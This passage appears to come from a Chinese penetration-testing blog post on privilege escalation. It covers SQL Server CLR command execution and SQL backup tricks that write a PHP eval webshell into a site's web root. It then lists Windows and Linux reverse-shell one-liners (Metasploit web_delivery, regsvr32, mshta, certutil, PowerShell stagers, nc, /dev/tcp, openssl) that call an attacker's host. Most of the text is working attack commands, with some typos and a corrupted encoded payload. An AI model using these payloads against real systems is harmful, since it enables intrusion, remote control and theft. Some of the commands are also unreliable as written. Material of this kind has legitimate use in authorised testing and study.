000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 WITH PERMISSION_SET = UNSAFE;
#创建存储过程,单独执行
CREATE PROCEDURE sp_cmdExec @Command [nvarchar](4000) WITH EXECUTE AS CALLER AS EXTERNAL NAME WarSQLKit.StoredProcedures.CmdExec;
#执行命令
EXEC sp_cmdExec 'whoami';
#删除该程序集
DROP PROCEDURE sp_cmdExec;DROP ASSEMBLY [WarSQLKit];

DB_owner权限LOG备份提权

原理:无论是LOG备份还是差异备份,都是利用备份的过程中写入一句话木马。

SQLServer常见的备份策略:

  • 每周一次完整备份
  • 每天一次差异备份
  • 每小时一次事务日志备份

 

利用前提

  • 目标机器存在数据库备份文件 ,也就是如果我们利用 test 数据库的话,则需要该test数据库存在数据库备份文件,而且恢复模式得是 完整模式
  • 知道网站的绝对路径
  • 该注入支持堆叠注入
alter database 数据库名 set RECOVERY FULL;   #修改数据库恢复模式为 完整模式
create table cmd (a image);        #创建一张表cmd,只有一个列 a,类型为image
backup log 数据库名 to disk= 'C:\\phpstudy\\WWW\\1.php' with init;   #备份表到指定路径
insert into cmd (a) values(0x3c3f70687020406576616c28245f504f53545b785d293b3f3e);  #插入一句话到cmd表里,0x3c3f70687020406576616c28245f504f53545b785d293b3f3e是<?php @eval($_POST[x]);?> 
backup log 数据库名 to disk='C:\\phpstudy\\WWW\\2.php';   #把操作日志备份到指定文件
drop table cmd;    #删除cmd表

 此时会在目标网站根目录下生成1.php和2.php文件,其中1.php 保存数据库,2.php就是我们需要连接的木马文件。

最后用用菜刀连接即可。

DB_owner权限差异备份提权

利用前提

  • 知道网站的绝对路径  C:\\phpstudy\\WWW\\
  • 该注入支持堆叠注入

 注:以下语句一条一条执行

create table [dbo].[test] ([cmd] [image])
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x786965 backup log @a to disk = @s with init,no_truncate #这里第二行的 0x786965,是字符 xie 的16进制表示,这里随便填都可以
insert into [test](cmd) values(0x3c3f70687020406576616c28245f504f53545b785d293b3f3e) #0x3c3f70687020406576616c28245f504f53545b785d293b3f3e 是一句话木马 <?php @eval($_POST[x]);?> 的16进制表示。
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x43003A005C00700068007000730074007500640079005C005700570057005C007300680065006C006C002E00700068007000 backup log @a to disk=@s with init,no_truncate ##0x43003A005C00700068007000730074007500640079005C005700570057005C007300680065006C006C002E00700068007000是  C:\\phpstudy\\WWW\\shell.php 的16进制表示
Drop table [test] 

 然后会在目标网站根目录下生成shell.php木马文件。

用菜刀连接即可。

相关文章转载出自SQLServer数据库注入详解_谢公子的博客-CSDN博客_sqlserver数据库注入

shell反弹命令的一些收集

关于WIndows系统的反弹shell命令的一些收集

1.这里我们运用metasploit框架下的exploit/multi/script/web_delivery模块进行反弹shell

msfconsole
use exploit multi/script/web_delivery
set srvhost=攻击者的ip
set target 3
set payload windows/x64/meterpreter/reverse_tcp
set lhost 攻击者的ip
exploit -j

regsvr32 /s /n /u /i:http://攻击者的ip:8080/FN02yMxB82Y.sct scrobj.dll

 2.这里我们运用metasploit框架下的exploit/windows/smb/smb_delivery模块进行反弹shell

use exploit windows/smb/smb_delivery
set srvhost 本机ip
exploit -j

rundll32.exe \\\\攻击者的ip\\dlsD\\test.dll,0

3.

msfvenom -p windows/x64/meterpreter/reverse_tcp lhorst=攻击者的ip lport=4444
-f hta-psh -o 1.hta
msf6> handler -p windows/x64/meterpreter/reverse_tcp -H 攻击者的ip -P 4444

python -m SimpleHTTPSever 8000

mshta.exe http://攻击者的ip:8000/1.hta

 4.

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.107 lport=1234
-f exe > shell.exe

python -m SimpleHTTPSever 8000

certuil.exe -urlcache -split -f http://攻击者的ip:8000/shell.exe shell.exe&shell.exe

certuil.exe -urlcache -split -f http://攻击者的ip:8000/shell.exe delete //删除

5.这里我们运用metasploit框架下的exploit/multi/script/web_delivery模块进行反弹shell。

use exploit/multi/script/web_delivery
set target 2
set payload windows/meterpreter/reverse_tcp
expolit -j

powershell.exe -nop -w hidden -e WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0
AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAA9AFsAT
gBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBssAHMAMQAyADsAJABwAFEATQBGA
D0AbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAOwBpAGYAKA
BbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBQAHIAbwB4AHkAXQA6ADoARwBlAHQARABlAGY
AYQB1AGwAdABQAHIAbwB4AHkAAcwAgAC0AbgBlACAAJABuAHUAbABsACkAewAkAHAAUQBNAEYALgB
wAHIAbwB4AHkAPQBbAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBHAGUAdABTAHkA
cwB0AGUAbQBXAGUAYgBQAHIAbwB4AHkAKAApADsAJABwAFEATQBGAC4AUAByAG8AeAB5AC4AQwByz
AD0AWwBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAd
QBsAHQAQwByAGUAZABlAG4AdABpAGEAbABzADsAfQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAG
oAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkAAUwB0AHIAaQBuAGcAKAAnAGgAdA
B0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADAALgAxADAANwA6ADgAMAA4ADAALwA0AEEAaQB1AFk
AVQBmADQALwA0AFUAbQBQAHIAZAA1AGsAJwApACkAOwBJAEUAWAAgACgAKABuAGUAdwAtAG8AYgBq
AGUAYwB0ACAATgBlAHQALgBXpAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQA
dABwADoALwAvADEAOQAyAC4AMQA2ADgALgAwAC4AMQAwADcAOgA4ADAAOAAwAC8ANABBAGkAdQBZA
FUAZgA0ACcAKQApADsA

6.

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.0.107 lport=1234
-f msi > 1.msi

python -m SimpleHTTPServer 80

msiexec /q/i http://攻击者的ip/1.msi

 关于Linux系统的反弹shell命令的一些收集

被控端:nc -lvvp 6666 -e /bin/sh
控制端:nc 本机ip 6666
-------------------------------------------------------------------------
没有-e参数的反弹shell:
控制端:nc -lvvp 6666
被控端:rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 攻击机ip 6666 >/tmp/f
-------------------------------------------------------------------------
控制端:nc -lvvp 6666
被控端:mknod backpipe p;nc 攻击者ip 6666 0<backpipe | /bin/bash 1>backpipe 2>backpipe
-------------------------------------------------------------------------
控制端:nc -lvvp 6666
被控端:bash -i >&/dev/tcp/攻击者ip/6666 0>&1
-------------------------------------------------------------------------
控制端:nc -lvvp 6666
被控端:exec 5<>/dev/tcp/攻击者ip/6666;cat <&5 | while read line;do $line 2>&5 >&5;done
bash64编码绕过:
bash -c "echo YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMDEuMjE0Lg1LzY2NjYgMD4mMQ==|base64 -d|bash -i"
-------------------------------------------------------------------------
Telnet:
控制端:nc -lvvp 6666
被控端:rm -f a && mknod a p && telnet 攻击者ip 6666 0<a | /bib/bash 1>a
-------------------------------------------------------------------------
Openssl反弹443端口:
1.在远程主机上生成密钥文件
openssl req -x509 -newkey rsa;4096 -keyout ket.pem -out cert.pem -days 365 -nodes
2.在远程主机上启动监视器
openssl s_sever -quiet -key key.pem -cert cert.pem -port 443
3.在目标机上反弹shell
mkfifo /tmp/s;bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 攻击者ip:端口 > /tmp/s;rm /tmp/s
---------------------------------------------------------------------------
python:
被控端:python -c 'import socket,subprocess,os;s=socket.socket(socket.

以上是关于内网渗透之提权的主要内容,如果未能解决你的问题,请参考以下文章

渗透测试之内网提权

MSF内网渗透系列2-权限提升

内网渗透系列:权限提升方法小结

内网渗透系列:权限提升方法小结

安全渗透淦!熬夜写完一次二层内网渗透

《内网安全攻防:渗透测试实战指南》读书笔记:域控制器安全